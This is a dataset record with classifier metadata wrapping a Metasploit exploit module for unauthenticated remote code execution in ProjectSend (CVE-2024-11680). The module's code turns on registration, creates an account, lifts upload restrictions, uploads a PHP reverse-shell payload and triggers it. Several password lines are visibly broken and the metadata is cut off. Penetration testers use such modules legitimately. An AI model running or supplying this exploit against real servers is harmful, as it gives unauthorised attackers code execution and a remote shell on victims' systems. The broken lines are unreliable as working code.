"3927ebf37f325ee473d6466fd615aa26e5db5a6d", "url": "https://github.com/DuckyG/duckyguidance/blob/3927ebf37f325ee473d6466fd615aa26e5db5a6d/app/controllers/notes_controller.rb"}, "gpt4o_tokens": 1334, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.9170537379027017, "noise_severity": 0.013168679202107335, "missing_content_severity": 0.011628513296435269, "factual_density": 3.3761616162561014, "pretraining_utility": 0.464186880608672, "math_density": 0.018489962852972157, "code_density": 3.893605790171404, "reasoning_density": 0.5222250011999602, "education_level": 2.3057739759639055, "creative_writing_quality": -0.378208593496285}, "score_applicability": {"education_level": 0.9986436313636072, "creative_writing_quality": 0.0003461268610320551}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/rapid7/metasploit-framework/blob/b6a04c2b9772f89dc9184ddf04ce3fd5bea24d1b/modules/exploits/linux/http/projectsend_unauth_rce.rb", "id": "ruby-0-2167f36cc3ed713035322601eb684bcf", "text": "class MetasploitModule < Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::PhpEXE\n prepend Msf::Exploit::Remote::AutoCheck\n\n class CSRFRetrievalError < StandardError; end\n\n def initialize(info = {})\n super(\n update_info(\n info,\n 'Name' => 'ProjectSend r1295 - r1605 Unauthenticated Remote Code Execution',\n 'Description' => %q{\n This module exploits an improper authorization vulnerability in ProjectSend versions r1295 through r1605.\n The vulnerability allows an unauthenticated attacker to obtain remote code execution by enabling user registration,\n disabling the whitelist of allowed file extensions, and uploading a malicious PHP file to the server.\n },\n 'License' => MSF_LICENSE,\n 'Author' => [\n '', # Discovery\n '', # Discovery\n 'ostrichgolf' # Metasploit module\n ],\n 'References' => [\n ['CVE', '2024-11680'],\n ['URL', 'https://github.com/projectsend/projectsend/commit/193367d937b1a59ed5b68dd4e60bd53317473744'],\n ['URL', 'https://www.synacktiv.com/sites/default/files/2024-07/synacktiv-projectsend-multiple-vulnerabilities.pdf'],\n ['CVE', '2024-11680']\n ],\n 'DisclosureDate' => '2024-07-19',\n 'DefaultTarget' => 0,\n 'Targets' => [\n [\n 'PHP Command',\n {\n 'Platform' => 'php',\n 'Arch' => ARCH_PHP,\n 'Type' => :php_cmd,\n 'DefaultOptions' => {\n 'PAYLOAD' => 'php/meterpreter/reverse_tcp'\n }\n }\n ]\n ],\n 'Notes' => {\n 'Stability' => [CRASH_SAFE],\n 'Reliability' => [REPEATABLE_SESSION],\n 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]\n }\n )\n )\n register_options(\n [\n OptString.new(\n 'TARGETURI',\n [true, 'The TARGETURI for ProjectSend', '/']\n )\n ]\n )\n end\n\n def check\n # Obtain the current title of the website\n res = send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')\n })\n return CheckCode::Unknown('Target is not reachable') unless res\n\n # The title will always contain \"»\" (\"»\") regardless of localization. For example: \"Log in » ProjectSend\"\n title_regex = %r{.*?»\\s+(.*?)}\n original_title = res.body[title_regex, 1]\n csrf_token = ''\n\n begin\n csrf_token = get_csrf_token\n rescue CSRFRetrievalError => e\n return CheckCode::Unknown(\"#{e.class}: #{e}\")\n end\n\n # Generate a new title for the website\n random_new_title = Rex::Text.rand_text_alphanumeric(8)\n\n # Test if the instance is vulnerable by trying to change its title\n params = {\n 'csrf_token' => csrf_token,\n 'section' => 'general',\n 'this_install_title' => random_new_title\n }\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),\n 'keep_cookie' => true,\n 'vars_post' => params\n })\n\n return CheckCode::Unknown('Failed to connect to the provided URL') unless res\n\n # GET request to check if the title updated\n res = send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')\n })\n\n # Extract new title for comparison\n updated_title = res.body[title_regex, 1]\n\n if updated_title != random_new_title\n return CheckCode::Safe\n end\n\n # If the title was changed, it is vulnerable and we should restore the original title\n params = {\n 'csrf_token' => csrf_token,\n 'section' => 'general',\n 'this_install_title' => original_title\n }\n send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),\n 'keep_cookie' => true,\n 'vars_post' => params\n })\n\n return CheckCode::Appears\n end\n\n def get_csrf_token\n vprint_status('Extracting CSRF token...')\n # Make sure we start from a request with no cookies\n res = send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'),\n 'keep_cookies' => true\n })\n\n unless res\n fail_with(Failure::Unknown, 'No response from server')\n end\n\n # Obtain CSRF token\n csrf_token = res.get_html_document.xpath('//input[@name=\"csrf_token\"]/@value')&.text\n\n raise CSRFRetrievalError, 'CSRF token not found in the response' if csrf_token.nil? || csrf_token.empty?\n\n vprint_good(\"Extracted CSRF token: #{csrf_token}\")\n\n csrf_token\n end\n\n def enable_user_registration_and_auto_approve\n csrf_token = ''\n\n begin\n csrf_token = get_csrf_token\n rescue CSRFRetrievalError => e\n fail_with(Failure::UnexpectedReply, \"#{e.class}: #{e}\")\n end\n\n # Enable user registration, automatic approval of new users allow all users to upload files and allow users to delete their own files\n params = {\n 'csrf_token' => csrf_token,\n 'section' => 'clients',\n 'clients_can_register' => 1,\n 'clients_auto_approve' => 1,\n 'clients_can_upload' => 1,\n 'clients_can_delete_own_files' => 1,\n 'clients_auto_group' => 0,\n 'clients_can_select_group' => 'none',\n 'expired_files_hide' => '1'\n }\n send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),\n 'vars_post' => params\n })\n\n # Check if we successfully enabled clients registration\n res = send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')\n })\n\n if res&.code == 200 && res.body.include?('Register as a new client.')\n print_good('Client registration successfully enabled')\n else\n fail_with(Failure::Unknown, 'Could not enable client registration')\n end\n end\n\n def register_new_user(username, password)\n cookie_jar.clear\n csrf_token = ''\n\n begin\n csrf_token = get_csrf_token\n rescue CSRFRetrievalError => e\n fail_with(Failure::UnexpectedReply, \"#{e.class}: #{e}\")\n end\n\n # Create a new user with the previously generated username and password\n params = {\n 'csrf_token' => csrf_token,\n 'name' => username,\n 'username' => username,\n 'password' => ,\n 'email' => Rex::Text.rand_mail_address,\n 'address' => Rex::Text.rand_text_alphanumeric(8)\n }\n\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'register.php'),\n 'keep_cookie' => true,\n 'vars_post' => params\n })\n\n fail_with(Failure::Unknown, 'Could not create a new user') unless res&.code != 403\n print_good(\"User #{username} created with password #{password}\")\n end\n\n def disable_upload_restrictions\n cookie_jar.clear\n csrf_token = ''\n\n begin\n csrf_token = get_csrf_token\n rescue CSRFRetrievalError => e\n fail_with(Failure::UnexpectedReply, \"#{e.class}: #{e}\")\n end\n\n print_status('Disabling upload restrictions...')\n\n # Disable upload restrictions, to allow us to upload our shell\n params = {\n 'csrf_token' => csrf_token,\n 'section' => 'security',\n 'file_types_limit_to' => 'noone'\n }\n\n send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),\n 'keep_cookie' => true,\n 'vars_post' => params\n })\n end\n\n def login(username, password)\n cookie_jar.clear\n csrf_token = ''\n\n begin\n csrf_token = get_csrf_token\n rescue CSRFRetrievalError => e\n fail_with(Failure::UnexpectedReply, \"#{e.class}: #{e}\")\n end\n\n print_status(\"Logging in as #{username}...\")\n\n # Attempt to login as our newly created user\n params = {\n 'csrf_token' => csrf_token,\n 'do' => 'login',\n 'username' => username,\n 'password' => \n }\n\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'),\n 'vars_post' => params,\n 'keep_cookies' => true\n })\n\n # Version r1295 does not set a cookie on login, instead we check for a redirect to the expected page indicating a successful login\n if res&.headers&.[]('Set-Cookie') || (res&.code == 302 && res&.headers&.[]('Location')&.include?('/my_files/index.php'))\n print_good(\"Logged in as #{username}\")\n return csrf_token\n else\n fail_with(Failure::NoAccess, 'Failed to authenticate. This can happen, you should try to execute the exploit again')\n end\n end\n\n def upload_file(username, password, filename)\n login(username, password)\n\n # Craft the payload\n payload = get_write_exec_payload(unlink_self: true)\n data = Rex::MIME::Message.new\n data.add_part(filename, nil, nil, 'form-data; name=\"name\"')\n data.add_part(payload, 'application/octet-stream', nil, \"form-data; name=\\\"file\\\"; filename=\\\"#{Rex::Text.rand_text_alphanumeric(8)}\\\"\")\n post_data = data.to_s\n\n # Upload the shell using a POST request\n res = send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'includes', 'upload.process.php'),\n 'ctype' => \"multipart/form-data; boundary=#{data.bound}\",\n 'data' => post_data,\n 'keep_cookies' => true\n })\n\n # Check if the server confirms our upload as successful\n if res && res.body.include?('\"OK\":1')\n print_good(\"Successfully uploaded PHP file: #{filename}\")\n\n json_response = res.get_json_document\n @file_id = json_response.dig('info', 'id')\n\n return res.headers['Date']\n else\n fail_with(Failure::Unknown, 'PHP file upload failed')\n end\n end\n\n def calculate_potential_filenames(username, upload_time, filename)\n # Hash the username\n hashed_username = Digest::SHA1.hexdigest(username)\n\n # Parse the upload time\n base_time = Time.parse(upload_time).utc\n\n # Array to store all possible URLs\n possible_urls = []\n\n # Iterate over all timezones\n (-12..14).each do |timezone|\n # Update the variable to reflect the currently looping timezone\n adj_time = base_time + (timezone * 3600)\n\n # Insert the potential URL into our array\n possible_urls << \"#{adj_time.to_i}-#{hashed_username}-#{filename}\"\n end\n\n possible_urls\n end\n\n def cleanup\n super\n\n # Delete uploaded file\n if @file_id\n cookie_jar.clear\n csrf_token = login(@username, @password)\n\n # Delete our uploaded payload from the portal\n params = {\n 'csrf_token' => csrf_token,\n 'action' => 'delete',\n 'batch[]' => @file_id\n }\n send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'manage-files.php'),\n 'vars_post' => params,\n 'keep_cookies' => true\n })\n\n # Version r1295 uses a GET request to delete the uploaded file\n send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'manage-files.php'),\n 'keep_cookies' => true,\n 'vars_get' => {\n 'action' => 'delete',\n 'batch[]' => @file_id\n }\n })\n end\n\n cookie_jar.clear\n csrf_token = ''\n\n begin\n csrf_token = get_csrf_token\n rescue CSRFRetrievalError => e\n fail_with(Failure::UnexpectedReply, \"#{e.class}: #{e}\")\n end\n\n # Disable user registration, automatic approval of new users, disallow all users to upload files and prevent users from deleting their own files\n params = {\n 'csrf_token' => csrf_token,\n 'section' => 'clients',\n 'clients_can_register' => 0,\n 'clients_auto_approve' => 0,\n 'clients_can_upload' => 0,\n 'clients_can_delete_own_files' => 0\n }\n send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),\n 'vars_post' => params\n })\n\n # Check if we successfully disabled client registration\n res = send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'index.php')\n })\n\n if res&.body&.include?('Register as a new client.')\n fail_with(Failure::Unknown, 'Could not disable client registration')\n end\n print_good('Client registration successfully disabled')\n\n print_status('Enabling upload restrictions...')\n\n # Enable upload restrictions for every user\n params = {\n 'csrf_token' => csrf_token,\n 'section' => 'security',\n 'file_types_limit_to' => 'all'\n }\n\n send_request_cgi({\n 'method' => 'POST',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'options.php'),\n 'vars_post' => params\n })\n end\n\n def trigger_shell(potential_urls)\n # Visit each URL, to trigger our payload\n potential_urls.each do |url|\n send_request_cgi({\n 'method' => 'GET',\n 'uri' => normalize_uri(datastore['TARGETURI'], 'upload', 'files', url)\n }, 1)\n end\n end\n\n def exploit\n enable_user_registration_and_auto_approve\n\n username = Faker::Internet.username\n password = (8)\n filename = Rex::Text.rand_text_alphanumeric(8) + '.php'\n\n # Set instance variables for cleanup function\n @username = username\n @password = \n\n register_new_user(username, password)\n\n disable_upload_restrictions\n\n upload_time = upload_file(username, password, filename)\n\n potential_urls = calculate_potential_filenames(username, upload_time, filename)\n\n trigger_shell(potential_urls)\n end\nend\n", "text_preview": "class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::PhpEXE prepend Msf::Exploit::Remote::AutoCheck class CSRFRetrievalError < StandardError; end def initialize", "input_sha256": "ab9ba120f14622fb60c2ae58a6de87a292829301a35899c356841c9bc580b3dd", "text_sha256": "2167f36cc3ed713035322601eb684bcfa4bc9425ec28f5f08b0e47c31a8a36cb", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16035, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 3, "education_level": 4, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.2037377078137594, "noise_severity": 0.11269677828723405, "missing_content_severity": 0.1632152337496247, "factual_density": 3.398657732135921, "pretraining_utility": 0.7335230333535624, "math_density": 0.29073023359008876, "code_density": 3.8437789324982226, "reasoning_density": 2.0723571777136764, "education_level": 3.4107273877782913, "creative_writing_quality": -0.07506807198566069}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "4", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.04905306677464816, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9916928245361802, "secondary": 0.851245110935611, "tertiary": 0.9024309197439394, "structured_records": 0.2762960031424708, "procedural_steps": 0.32571446889170225, "worked_solution": 0.04479343822949845, "contextual_dialogue": 8.713618144753413e-06, "content_quality": 0.5127685875286297, "noise_severity": 0.9060860180939716, "missing_content_severity": 0.8639873052086461, "factual_density": 0.4988814434466008, "pretraining_utility": 0.5008835847997789, "math_density": 0.7577248053415927, "code_density": 0.869815777081852, "reasoning_density": 0.0, "education_level": 0.37890037668511267, "creative_writing_quality": 0.9985922086622047, "primary_topic": 0.956157022400839, "secondary_topic": 0.7646120770574891}, "probability_margin": {"primary": 0.9885023876114484, "secondary": 0.8022263513689005, "tertiary": 0.8756114162956226, "education_level": 0.034230664693956414, "creative_writing_quality": 0.9982317152683309, "primary_topic": 0.9315478912419299, "secondary_topic": 0.6470796073017737}, "raw_probabilities": {"primary": {"Academic Writing": 5.103369930811339e-05, "Content Listing": 3.173293658278442e-05, "Creative Writing": 3.368852267024036e-05, "Customer Support Page": 1.8630145109744597e-05, "Q&A Forum": 1.97172819668431e-05, "Discussion Thread": 1.2676679624317529e-05, "Comment Section": 2.263682517354781e-05, "Missing Content": 3.3512521649807565e-05, "Knowledge Article": 0.00026285798795323205, "Legal Notices": 6.28035398268172e-05, "News Article": 1.6317627951211574e-05, "Organizational Announcement": 3.2022442686170727e-05, "Nonfiction Writing": 2.2322214872325198e-05, "Organizational About Page": 2.13165273218506e-05, "Personal About Page": 1.6339171776298478e-05, "Personal Blog": 1.2718966265193568e-05, "Product Page": 1.6334949532595868e-05, "Spam / Ads": 1.8930106437754142e-05, "Structured Data": 0.001088174466027614, "Technical Writing": 0.9920389568471727, "Transcript / Interview": 2.4749273926956418e-05, "Tutorial / How-To Guide": 0.003536569235724291, "User Reviews": 1.3084732204086491e-05, "Other / Unknown": 0.0025928732982356396}, "secondary": {"Academic Writing": 0.0009539838243370482, "Content Listing": 0.0007045111570694485, "Creative Writing": 0.0006640793416851986, "Customer Support Page": 0.0003588010817627177, "Q&A Forum": 0.0002880061914460936, "Discussion Thread": 0.00021991820935858634, "Comment Section": 0.0006600457062109258, "Missing Content": 0.0011450939541793018, "Knowledge Article": 0.009479185433531415, "Legal Notices": 0.0082056442915752, "News Article": 0.0004994981849612224, "Organizational Announcement": 0.0005401241710064689, "Nonfiction Writing": 0.0005241892232581746, "Organizational About Page": 0.00043134463891907103, "Personal About Page": 0.0003341623330987215, "Personal Blog": 0.0003142318600433017, "Product Page": 0.0002506935870973598, "Spam / Ads": 0.00043096368007318453, "Structured Data": 0.04458552008432633, "Technical Writing": 0.055216879944393255, "Transcript / Interview": 0.0004644054700723235, "Tutorial / How-To Guide": 0.01606870634830891, "User Reviews": 0.00021677996999195138, "NONE": 0.8574432313132938}, "tertiary": {"Academic Writing": 0.0007276077220014024, "Content Listing": 0.0009399771454415451, "Creative Writing": 0.0003814533828014787, "Customer Support Page": 0.00018433605618526565, "Q&A Forum": 0.0001604734748877048, "Discussion Thread": 0.00013771863249606493, "Comment Section": 0.00038804429695335496, "Missing Content": 0.0010748290429763575, "Knowledge Article": 0.013349408724147265, "Legal Notices": 0.013501912044240312, "News Article": 0.00038040386221901366, "Organizational Announcement": 0.000464473835783065, "Nonfiction Writing": 0.000382452361563945, "Organizational About Page": 0.00029107458540333675, "Personal About Page": 0.00018172377134393443, "Personal Blog": 0.00015635142987053277, "Product Page": 0.0001591540665142637, "Spam / Ads": 0.00027178435183189767, "Structured Data": 0.030884881792319352, "Technical Writing": 0.015623212418270237, "Transcript / Interview": 0.0002731098505512982, "Tutorial / How-To Guide": 0.013465610779025578, "User Reviews": 0.00012370828523088247, "NONE": 0.906496298087942}, "structured_records": {"false": 0.7237039968575292, "true": 0.2762960031424708}, "procedural_steps": {"false": 0.6742855311082978, "true": 0.32571446889170225}, "worked_solution": {"false": 0.9552065617705016, "true": 0.04479343822949845}, "contextual_dialogue": {"false": 0.9999912863818552, "true": 8.713618144753413e-06}, "content_quality": {"-2": 0.006694414302566861, "-1": 0.028450039288699987, "0": 0.11348667209084184, "1": 0.4571611729281895, "2": 0.3942077013897018}, "noise_severity": {"0": 0.9060422421384794, "1": 0.08102844533851641, "2": 0.008156903625012028, "3": 0.0037351098932750654, "4": 0.0010372990047170971}, "missing_content_severity": {"0": 0.863406105317915, "1": 0.11612732575514374, "2": 0.015724257651201397, "3": 0.0033298524108808622, "4": 0.0014124588648588888}, "factual_density": {"0": 0.0030523935228387194, "1": 0.009992991058189, "2": 0.0766338668057216, "3": 0.4058859869867139, "4": 0.5044347616265368}, "pretraining_utility": {"-2": 0.011244553563346723, "-1": 0.0746467647776497, "0": 0.2496811421980119, "1": 0.498196173664078, "2": 0.16623136579691383}, "math_density": {"0": 0.7448717504641659, "1": 0.2332295069769474, "2": 0.013255556383436244, "3": 0.003583130855532732, "4": 0.005060055319917666}, "code_density": {"0": 0.0003365894732501515, "1": 0.0005683952096848751, "2": 0.007551306873484043, "3": 0.13806691023275425, "4": 0.8534767982108267}, "reasoning_density": {"0": 0.1824380903602403, "1": 0.16585359506406833, "2": 0.2189563999816624, "3": 0.2624168756898327, "4": 0.17033503890419635}, "education_level": {"none": 0.0007504573167021725, "0": 0.0007393473124801354, "1": 0.0018728853056038828, "2": 0.0660340136173158, "3": 0.44818631587697083, "4": 0.48241698057092725}, "creative_writing_quality": {"not_applicable": 0.9988268405518372, "-2": 9.542931172909979e-05, "-1": 0.00022735911483385605, "0": 0.0005951252835063254, "1": 0.00018034055580049837, "2": 7.490518229310395e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.0001609566027181182, "Art & Design": 7.57713421624135e-05, "Law & Crime": 0.012025313627399522, "Education & Careers": 6.451195471437877e-05, "Entertainment & Media": 7.550714724275054e-05, "Fashion & Beauty": 4.3317452998111575e-05, "Business, Economics & Finance": 0.00021358515178546082, "Food & Dining": 4.7526846011262156e-05, "Games & Gaming": 0.00012311647268742503, "Electronics & Hardware": 0.00012517787678950222, "Health, Healthcare & Wellness": 5.68414889301196e-05, "History & Geography": 6.959946132585872e-05, "Home, Pets & Hobbies": 6.364408995126867e-05, "Industry & Production": 6.211113669095524e-05, "Language, Literature & Philosophy": 6.369722088336831e-05, "Politics & Government": 5.210564439091434e-05, "Religion & Spirituality": 6.90874767881535e-05, "Science, Mathematics & Engineering": 0.0003361901777998027, "Relationships & Community": 4.573313234431787e-05, "Software Usage & Applications": 0.0017005408284135359, "Programming & Software Engineering": 0.9578432907700375, "Sports & Fitness": 0.0001095557996348919, "Vehicles & Transportation": 4.521871382839062e-05, "Travel & Tourism": 0.00011590931037192326, "Other / Uncovered Subject": 0.026295399528107524, "Unknown / Insufficient Content": 0.00011629074599253937}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0006750610516954046, "Art & Design": 0.00042668161544515376, "Law & Crime": 0.062162651636409, "Education & Careers": 0.00040986578979227567, "Entertainment & Media": 0.0006338754744612694, "Fashion & Beauty": 0.00028372574095805557, "Business, Economics & Finance": 0.0011180977785210323, "Food & Dining": 0.00024094468067490301, "Games & Gaming": 0.0004560346567766897, "Electronics & Hardware": 0.0005348788754152878, "Health, Healthcare & Wellness": 0.0003482470529458513, "History & Geography": 0.0003155454418019619, "Home, Pets & Hobbies": 0.00030788945944817383, "Industry & Production": 0.0002724106025125449, "Language, Literature & Philosophy": 0.00024792590023671744, "Politics & Government": 0.0003758448899564427, "Religion & Spirituality": 0.00035232502969994775, "Science, Mathematics & Engineering": 0.0009115523555974572, "Relationships & Community": 0.0001750990528804881, "Software Usage & Applications": 0.022729946239755133, "Programming & Software Engineering": 0.12658585140735046, "Sports & Fitness": 0.0002906652526663091, "Vehicles & Transportation": 0.0001600356335878203, "Travel & Tourism": 0.0004506550715572061, "Other / Uncovered Subject": 0.00586873060073022, "NONE": 0.7736654587091242}}, "probabilities": {"primary": {"Academic Writing": 5.1033699308113374e-05, "Content Listing": 3.173293658278441e-05, "Creative Writing": 3.3688522670240354e-05, "Customer Support Page": 1.8630145109744593e-05, "Q&A Forum": 1.9717281966843098e-05, "Discussion Thread": 1.2676679624317525e-05, "Comment Section": 2.2636825173547806e-05, "Missing Content": 3.351252164980756e-05, "Knowledge Article": 0.000262857987953232, "Legal Notices": 6.280353982681719e-05, "News Article": 1.631762795121157e-05, "Organizational Announcement": 3.202244268617072e-05, "Nonfiction Writing": 2.2322214872325195e-05, "Organizational About Page": 2.1316527321850598e-05, "Personal About Page": 1.6339171776298474e-05, "Personal Blog": 1.2718966265193564e-05, "Product Page": 1.6334949532595865e-05, "Spam / Ads": 1.893010643775414e-05, "Structured Data": 0.0010881744660276138, "Technical Writing": 0.9920389568471725, "Transcript / Interview": 2.474927392695641e-05, "Tutorial / How-To Guide": 0.00353656923572429, "User Reviews": 1.3084732204086488e-05, "Other / Unknown": 0.002592873298235639}, "secondary": {"Academic Writing": 0.0009539838243370482, "Content Listing": 0.0007045111570694485, "Creative Writing": 0.0006640793416851986, "Customer Support Page": 0.0003588010817627177, "Q&A Forum": 0.0002880061914460936, "Discussion Thread": 0.00021991820935858634, "Comment Section": 0.0006600457062109258, "Missing Content": 0.0011450939541793018, "Knowledge Article": 0.009479185433531415, "Legal Notices": 0.0082056442915752, "News Article": 0.0004994981849612224, "Organizational Announcement": 0.0005401241710064689, "Nonfiction Writing": 0.0005241892232581746, "Organizational About Page": 0.00043134463891907103, "Personal About Page": 0.0003341623330987215, "Personal Blog": 0.0003142318600433017, "Product Page": 0.0002506935870973598, "Spam / Ads": 0.00043096368007318453, "Structured Data": 0.04458552008432633, "Technical Writing": 0.055216879944393255, "Transcript / Interview": 0.0004644054700723235, "Tutorial / How-To Guide": 0.01606870634830891, "User Reviews": 0.00021677996999195138, "NONE": 0.8574432313132938}, "tertiary": {"Academic Writing": 0.0007276077220014024, "Content Listing": 0.0009399771454415451, "Creative Writing": 0.0003814533828014787, "Customer Support Page": 0.00018433605618526565, "Q&A Forum": 0.0001604734748877048, "Discussion Thread": 0.00013771863249606493, "Comment Section": 0.00038804429695335496, "Missing Content": 0.0010748290429763575, "Knowledge Article": 0.013349408724147265, "Legal Notices": 0.013501912044240312, "News Article": 0.00038040386221901366, "Organizational Announcement": 0.000464473835783065, "Nonfiction Writing": 0.000382452361563945, "Organizational About Page": 0.00029107458540333675, "Personal About Page": 0.00018172377134393443, "Personal Blog": 0.00015635142987053277, "Product Page": 0.0001591540665142637, "Spam / Ads": 0.00027178435183189767, "Structured Data": 0.030884881792319352, "Technical Writing": 0.015623212418270237, "Transcript / Interview": 0.0002731098505512982, "Tutorial / How-To Guide": 0.013465610779025578, "User Reviews": 0.00012370828523088247, "NONE": 0.906496298087942}, "structured_records": {"false": 0.7237039968575292, "true": 0.2762960031424708}, "procedural_steps": {"false": 0.6742855311082978, "true": 0.32571446889170225}, "worked_solution": {"false": 0.9552065617705016, "true": 0.04479343822949845}, "contextual_dialogue": {"false": 0.9999912863818552, "true": 8.713618144753413e-06}, "content_quality": {"-2": 0.006694414302566861, "-1": 0.028450039288699987, "0": 0.11348667209084184, "1": 0.4571611729281895, "2": 0.3942077013897018}, "noise_severity": {"0": 0.9060422421384794, "1": 0.08102844533851641, "2": 0.008156903625012028, "3": 0.0037351098932750654, "4": 0.0010372990047170971}, "missing_content_severity": {"0": 0.8634061053179151, "1": 0.11612732575514376, "2": 0.0157242576512014, "3": 0.0033298524108808627, "4": 0.001412458864858889}, "factual_density": {"0": 0.0030523935228387194, "1": 0.009992991058189, "2": 0.0766338668057216, "3": 0.4058859869867139, "4": 0.5044347616265368}, "pretraining_utility": {"-2": 0.01124455356334672, "-1": 0.07464676477764969, "0": 0.24968114219801185, "1": 0.49819617366407787, "2": 0.1662313657969138}, "math_density": {"0": 0.744871750464166, "1": 0.23322950697694741, "2": 0.013255556383436246, "3": 0.0035831308555327322, "4": 0.005060055319917667}, "code_density": {"0": 0.0003365894732501515, "1": 0.0005683952096848751, "2": 0.007551306873484043, "3": 0.13806691023275425, "4": 0.8534767982108267}, "reasoning_density": {"0": 0.1824380903602403, "1": 0.16585359506406833, "2": 0.2189563999816624, "3": 0.2624168756898327, "4": 0.17033503890419635}, "education_level": {"none": 0.0007504573167021725, "0": 0.0007393473124801354, "1": 0.0018728853056038828, "2": 0.0660340136173158, "3": 0.44818631587697083, "4": 0.48241698057092725}, "creative_writing_quality": {"not_applicable": 0.998826840551837, "-2": 9.542931172909977e-05, "-1": 0.000227359114833856, "0": 0.0005951252835063252, "1": 0.00018034055580049834, "2": 7.490518229310394e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 0.0001609566027181182, "Art & Design": 7.57713421624135e-05, "Law & Crime": 0.012025313627399522, "Education & Careers": 6.451195471437877e-05, "Entertainment & Media": 7.550714724275054e-05, "Fashion & Beauty": 4.3317452998111575e-05, "Business, Economics & Finance": 0.00021358515178546082, "Food & Dining": 4.7526846011262156e-05, "Games & Gaming": 0.00012311647268742503, "Electronics & Hardware": 0.00012517787678950222, "Health, Healthcare & Wellness": 5.68414889301196e-05, "History & Geography": 6.959946132585872e-05, "Home, Pets & Hobbies": 6.364408995126867e-05, "Industry & Production": 6.211113669095524e-05, "Language, Literature & Philosophy": 6.369722088336831e-05, "Politics & Government": 5.210564439091434e-05, "Religion & Spirituality": 6.90874767881535e-05, "Science, Mathematics & Engineering": 0.0003361901777998027, "Relationships & Community": 4.573313234431787e-05, "Software Usage & Applications": 0.0017005408284135359, "Programming & Software Engineering": 0.9578432907700375, "Sports & Fitness": 0.0001095557996348919, "Vehicles & Transportation": 4.521871382839062e-05, "Travel & Tourism": 0.00011590931037192326, "Other / Uncovered Subject": 0.026295399528107524, "Unknown / Insufficient Content": 0.00011629074599253937}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0006750610516954046, "Art & Design": 0.00042668161544515376, "Law & Crime": 0.062162651636409, "Education & Careers": 0.00040986578979227567, "Entertainment & Media": 0.0006338754744612694, "Fashion & Beauty": 0.00028372574095805557, "Business, Economics & Finance": 0.0011180977785210323, "Food & Dining": 0.00024094468067490301, "Games & Gaming": 0.0004560346567766897, "Electronics & Hardware": 0.0005348788754152878, "Health, Healthcare & Wellness": 0.0003482470529458513, "History & Geography": 0.0003155454418019619, "Home, Pets & Hobbies": 0.00030788945944817383, "Industry & Production": 0.0002724106025125449, "Language, Literature & Philosophy": 0.00024792590023671744, "Politics & Government": 0.0003758448899564427, "Religion & Spirituality": 0.00035232502969994775, "Science, Mathematics & Engineering": 0.0009115523555974572, "Relationships & Community": 0.0001750990528804881, "Software Usage & Applications": 0.022729946239755133, "Programming & Software Engineering": 0.12658585140735046, "Sports & Fitness": 0.0002906652526663091, "Vehicles & Transportation": 0.0001600356335878203, "Travel & Tourism": 0.0004506550715572061, "Other / Uncovered Subject": 0.00586873060073022, "NONE": 0.7736654587091242}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 